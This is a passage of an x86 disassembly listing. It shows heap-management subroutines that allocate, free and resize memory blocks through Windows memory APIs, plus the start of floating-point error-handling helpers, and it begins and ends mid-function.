add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_41368C
mov edi, edx
loc_41368C: ; CODE XREF: sub_41357B+10Dj
cmp ecx, edi
jz short loc_4136FB
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_4136E3
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_4136BF
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_4136E3
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_4136E3
; ---------------------------------------------------------------------------
loc_4136BF: ; CODE XREF: sub_41357B+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_4136E3
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_4136E3: ; CODE XREF: sub_41357B+11Ej
; sub_41357B+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_4136FB: ; CODE XREF: sub_41357B+113j
mov edx, [ebp+var_8]
loc_4136FE: ; CODE XREF: sub_41357B+DDj
cmp [ebp+var_14], 0
jnz short loc_41370D
cmp [ebp+arg_4], edi
jz loc_413796
loc_41370D: ; CODE XREF: sub_41357B+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_413796
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41376A
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_413759
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_413759: ; CODE XREF: sub_41357B+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_413793
; ---------------------------------------------------------------------------
loc_41376A: ; CODE XREF: sub_41357B+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_413780
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_413780: ; CODE XREF: sub_41357B+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_413793: ; CODE XREF: sub_41357B+1EDj
mov ebx, [ebp+var_C]
loc_413796: ; CODE XREF: sub_41357B+18Cj
; sub_41357B+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_4138A1
mov eax, ds:dword_460E94
test eax, eax
jz loc_413893
mov ecx, ds:dword_460E8C
mov edi, ds:dword_41C160
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, ds:dword_460E8C
mov eax, ds:dword_460E94
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, ds:dword_460E94
mov ecx, ds:dword_460E8C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, ds:dword_460E94
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, ds:dword_460E94
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_413821
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, ds:dword_460E94
loc_413821: ; CODE XREF: sub_41357B+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_413893
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, ds:dword_460E94
push dword ptr [eax+10h]
push 0
push ds:dword_460EA0
call ds:dword_41C138 ; RtlFreeHeap
mov eax, ds:dword_460E98
mov edx, ds:dword_460E9C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, ds:dword_460E94
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_4112D0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec ds:dword_460E98
cmp eax, ds:dword_460E94
jbe short loc_413885
sub eax, 14h
loc_413885: ; CODE XREF: sub_41357B+305j
mov ecx, ds:dword_460E9C
mov ds:dword_460E90, ecx
jmp short loc_413896
; ---------------------------------------------------------------------------
loc_413893: ; CODE XREF: sub_41357B+233j
; sub_41357B+2AAj
mov eax, [ebp+arg_0]
loc_413896: ; CODE XREF: sub_41357B+316j
mov ds:dword_460E94, eax
mov ds:dword_460E8C, esi
loc_4138A1: ; CODE XREF: sub_41357B+226j
pop edi
pop esi
pop ebx
leave
retn
sub_41357B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138A6 proc near ; CODE XREF: sub_410C4D+Ep
; sub_41237F+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_460E98
mov edx, ds:dword_460E9C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_4138E6
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_4138F6
; ---------------------------------------------------------------------------
loc_4138E6: ; CODE XREF: sub_4138A6+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_4138F6: ; CODE XREF: sub_4138A6+3Ej
mov eax, ds:dword_460E90
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41391D
loc_413904: ; CODE XREF: sub_4138A6+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41391D
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_413904
loc_41391D: ; CODE XREF: sub_4138A6+5Cj
; sub_4138A6+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41399B
mov ebx, edx
loc_413924: ; CODE XREF: sub_4138A6+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_413940
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41393E
add ebx, 14h
jmp short loc_413924
; ---------------------------------------------------------------------------
loc_41393E: ; CODE XREF: sub_4138A6+91j
cmp ebx, eax
loc_413940: ; CODE XREF: sub_4138A6+83j
jnz short loc_41399B
loc_413942: ; CODE XREF: sub_4138A6+ADj
cmp ebx, [ebp+var_4]
jnb short loc_413958
cmp dword ptr [ebx+8], 0
jnz short loc_413955
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_413942
; ---------------------------------------------------------------------------
loc_413955: ; CODE XREF: sub_4138A6+A5j
cmp ebx, [ebp+var_4]
loc_413958: ; CODE XREF: sub_4138A6+9Fj
jnz short loc_413980
mov ebx, edx
loc_41395C: ; CODE XREF: sub_4138A6+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_413970
cmp dword ptr [ebx+8], 0
jnz short loc_41396E
add ebx, 14h
jmp short loc_41395C
; ---------------------------------------------------------------------------
loc_41396E: ; CODE XREF: sub_4138A6+C1j
cmp ebx, eax
loc_413970: ; CODE XREF: sub_4138A6+BBj
jnz short loc_413980
call sub_413BAF
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_413994
loc_413980: ; CODE XREF: sub_4138A6:loc_413958j
; sub_4138A6:loc_413970j
push ebx
call sub_413C60
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41399B
loc_413994: ; CODE XREF: sub_4138A6+D8j
xor eax, eax
jmp loc_413BAA
; ---------------------------------------------------------------------------
loc_41399B: ; CODE XREF: sub_4138A6+7Aj
; sub_4138A6:loc_413940j ...
mov ds:dword_460E90, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_4139C2
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_4139F9
loc_4139C2: ; CODE XREF: sub_4138A6+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_4139F6
loc_4139DF: ; CODE XREF: sub_4138A6+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_4139DF
loc_4139F6: ; CODE XREF: sub_4138A6+137j
mov edx, [ebp+var_4]
loc_4139F9: ; CODE XREF: sub_4138A6+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_413A22
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_413A22: ; CODE XREF: sub_4138A6+16Dj
; sub_4138A6+183j
test ecx, ecx
jl short loc_413A2B
shl ecx, 1
inc edi
jmp short loc_413A22
; ---------------------------------------------------------------------------
loc_413A2B: ; CODE XREF: sub_4138A6+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_413A48
push 3Fh
pop esi
loc_413A48: ; CODE XREF: sub_4138A6+19Dj
cmp esi, edi
jz loc_413B5D
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_413AB9
cmp edi, 20h
jge short loc_413A88
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_413AB6
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_413AB9
; ---------------------------------------------------------------------------
loc_413A88: ; CODE XREF: sub_4138A6+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_413AB6
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_413AB9
; ---------------------------------------------------------------------------
loc_413AB6: ; CODE XREF: sub_4138A6+1D6j
; sub_4138A6+203j
mov ebx, [ebp+arg_0]
loc_413AB9: ; CODE XREF: sub_4138A6+1B0j
; sub_4138A6+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_413B69
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_413B5A
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_413B2B
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_413B19
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_413B19: ; CODE XREF: sub_4138A6+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_413B5A
; ---------------------------------------------------------------------------
loc_413B2B: ; CODE XREF: sub_4138A6+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_413B44
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_413B44: ; CODE XREF: sub_4138A6+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_413B5A: ; CODE XREF: sub_4138A6+24Ej
; sub_4138A6+283j
mov ecx, [ebp+var_8]
loc_413B5D: ; CODE XREF: sub_4138A6+1A4j
test ecx, ecx
jz short loc_413B6C
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_413B6C
; ---------------------------------------------------------------------------
loc_413B69: ; CODE XREF: sub_4138A6+229j
mov ecx, [ebp+var_8]
loc_413B6C: ; CODE XREF: sub_4138A6+2B9j
; sub_4138A6+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_413BA2
cmp ebx, ds:dword_460E94
jnz short loc_413BA2
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_460E8C
jnz short loc_413BA2
and ds:dword_460E94, 0
loc_413BA2: ; CODE XREF: sub_4138A6+2E0j
; sub_4138A6+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_413BAA: ; CODE XREF: sub_4138A6+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_4138A6 endp
; =============== S U B R O U T I N E =======================================
sub_413BAF proc near ; CODE XREF: sub_4138A6+CCp
mov eax, ds:dword_460E98
mov ecx, ds:dword_460E88
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_413BF2
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push ds:dword_460E9C
push edi
push ds:dword_460EA0
call ds:dword_41C148 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_413C42
add ds:dword_460E88, 10h
mov ds:dword_460E9C, eax
mov eax, ds:dword_460E98
loc_413BF2: ; CODE XREF: sub_413BAF+11j
mov ecx, ds:dword_460E9C
push 41C4h
push 8
lea eax, [eax+eax*4]
push ds:dword_460EA0
lea esi, [ecx+eax*4]
call ds:dword_41C134 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_413C42
push 4
push 2000h
push 100000h
push edi
call ds:dword_41C164 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_413C46
push dword ptr [esi+10h]
push edi
push ds:dword_460EA0
call ds:dword_41C138 ; RtlFreeHeap
loc_413C42: ; CODE XREF: sub_413BAF+30j
; sub_413BAF+67j
xor eax, eax
jmp short loc_413C5D
; ---------------------------------------------------------------------------
loc_413C46: ; CODE XREF: sub_413BAF+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc ds:dword_460E98
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_413C5D: ; CODE XREF: sub_413BAF+95j
pop edi
pop esi
retn
sub_413BAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C60 proc near ; CODE XREF: sub_4138A6+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_413C72: ; CODE XREF: sub_413C60+19j
test eax, eax
jl short loc_413C7B
shl eax, 1
inc ebx
jmp short loc_413C72
; ---------------------------------------------------------------------------
loc_413C7B: ; CODE XREF: sub_413C60+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_413C90: ; CODE XREF: sub_413C60+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_413C90
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call ds:dword_41C164 ; VirtualAlloc
test eax, eax
jnz short loc_413CC3
or eax, 0FFFFFFFFh
jmp loc_413D56
; ---------------------------------------------------------------------------
loc_413CC3: ; CODE XREF: sub_413C60+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_413D09
lea eax, [edi+10h]
loc_413CD0: ; CODE XREF: sub_413C60+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_413CD0
loc_413D09: ; CODE XREF: sub_413C60+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_413D46
or [eax+4], edi
loc_413D46: ; CODE XREF: sub_413C60+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_413D56: ; CODE XREF: sub_413C60+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_413C60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D5B proc near ; CODE XREF: sub_41237F+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_413F09
test bl, 1
jnz loc_413F02
add ebx, ecx
cmp esi, ebx
jg loc_413F02
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_413DD2
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_413DD2: ; CODE XREF: sub_413D5B+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_413E22
cmp ecx, 20h
jnb short loc_413DFE
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_413E22
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_413E22
; ---------------------------------------------------------------------------
loc_413DFE: ; CODE XREF: sub_413D5B+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_413E22
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_413E22: ; CODE XREF: sub_413D5B+7Dj
; sub_413D5B+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_413EF0
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_413E5C
push 3Fh
pop edi
loc_413E5C: ; CODE XREF: sub_413D5B+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_413EDE
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_413EB5
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_413EA8
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_413EA8: ; CODE XREF: sub_413D5B+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_413EDA
; ---------------------------------------------------------------------------
loc_413EB5: ; CODE XREF: sub_413D5B+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_413ECB
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_413ECB: ; CODE XREF: sub_413D5B+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_413EDA: ; CODE XREF: sub_413D5B+158j
shr edx, cl
or [eax], edx
loc_413EDE: ; CODE XREF: sub_413D5B+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_413EF3
; ---------------------------------------------------------------------------
loc_413EF0: ; CODE XREF: sub_413D5B+E5j
mov edx, [ebp+arg_4]
loc_413EF3: ; CODE XREF: sub_413D5B+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_414049
; ---------------------------------------------------------------------------
loc_413F02: ; CODE XREF: sub_413D5B+52j
; sub_413D5B+5Cj
xor eax, eax
jmp loc_41404C
; ---------------------------------------------------------------------------
loc_413F09: ; CODE XREF: sub_413D5B+49j
jge loc_414049
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_413F34
push 3Fh
pop esi
loc_413F34: ; CODE XREF: sub_413D5B+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_413FC3
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_413F4D
push 3Fh
pop esi
loc_413F4D: ; CODE XREF: sub_413D5B+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_413F9C
cmp esi, 20h
jnb short loc_413F78
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_413F99
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_413F99
; ---------------------------------------------------------------------------
loc_413F78: ; CODE XREF: sub_413D5B+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_413F99
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_413F99: ; CODE XREF: sub_413D5B+214j
; sub_413D5B+21Bj ...
mov ebx, [ebp+arg_4]
loc_413F9C: ; CODE XREF: sub_413D5B+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_413FC3
push 3Fh
pop esi
loc_413FC3: ; CODE XREF: sub_413D5B+1DDj
; sub_413D5B+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_414040
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_414017
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41400A
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41400A: ; CODE XREF: sub_413D5B+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41403C
; ---------------------------------------------------------------------------
loc_414017: ; CODE XREF: sub_413D5B+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41402D
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41402D: ; CODE XREF: sub_413D5B+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41403C: ; CODE XREF: sub_413D5B+2BAj
shr edx, cl
or [eax], edx
loc_414040: ; CODE XREF: sub_413D5B+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_414049: ; CODE XREF: sub_413D5B+1A2j
; sub_413D5B:loc_413F09j
push 1
pop eax
loc_41404C: ; CODE XREF: sub_413D5B+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_413D5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_414051(int,int,double,int)
sub_414051 proc near ; CODE XREF: sub_410CB2+51p
; sub_410DFB+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_42EB08, 0
jnz short loc_414086
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_414606
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414086: ; CODE XREF: sub_414051+Aj
push 0FFFFh
mov ds:dword_45F844, 21h
push [ebp+arg_C]
call sub_414879
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_414051 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4140A4(int,int,double,double,int)
sub_4140A4 proc near ; CODE XREF: sub_410CB2:loc_410D75p
; sub_410DFB:loc_410EBEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_4143EF
add esp, 0Ch
test eax, eax
jnz short loc_4140E2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_41413C
add esp, 18h
loc_4140E2: ; CODE XREF: sub_4140A4+1Aj
push [ebp+arg_0]
call sub_4146D9
cmp ds:dword_42EB08, 0
pop ecx
jnz short loc_414120
test eax, eax
jz short loc_414120
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
